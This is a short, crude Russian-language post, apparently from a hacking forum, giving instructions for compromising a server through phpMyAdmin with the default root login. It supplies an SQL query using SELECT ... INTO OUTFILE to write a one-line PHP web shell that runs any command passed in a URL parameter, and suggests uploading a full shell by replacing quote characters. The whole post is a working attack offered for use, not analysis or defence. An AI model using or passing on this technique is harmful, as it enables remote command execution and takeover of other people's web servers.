идешь в phpmyadmin по стандарту рут
и ебашишь sql запросов вот эту хню
SELECT '<? system("$_GET[cmd]"); ?>' FROM mysql.user INTO OUTFILE 'дира до файла'

или можешь залить полноценный шелл тока замени ' на " во всем сшеле...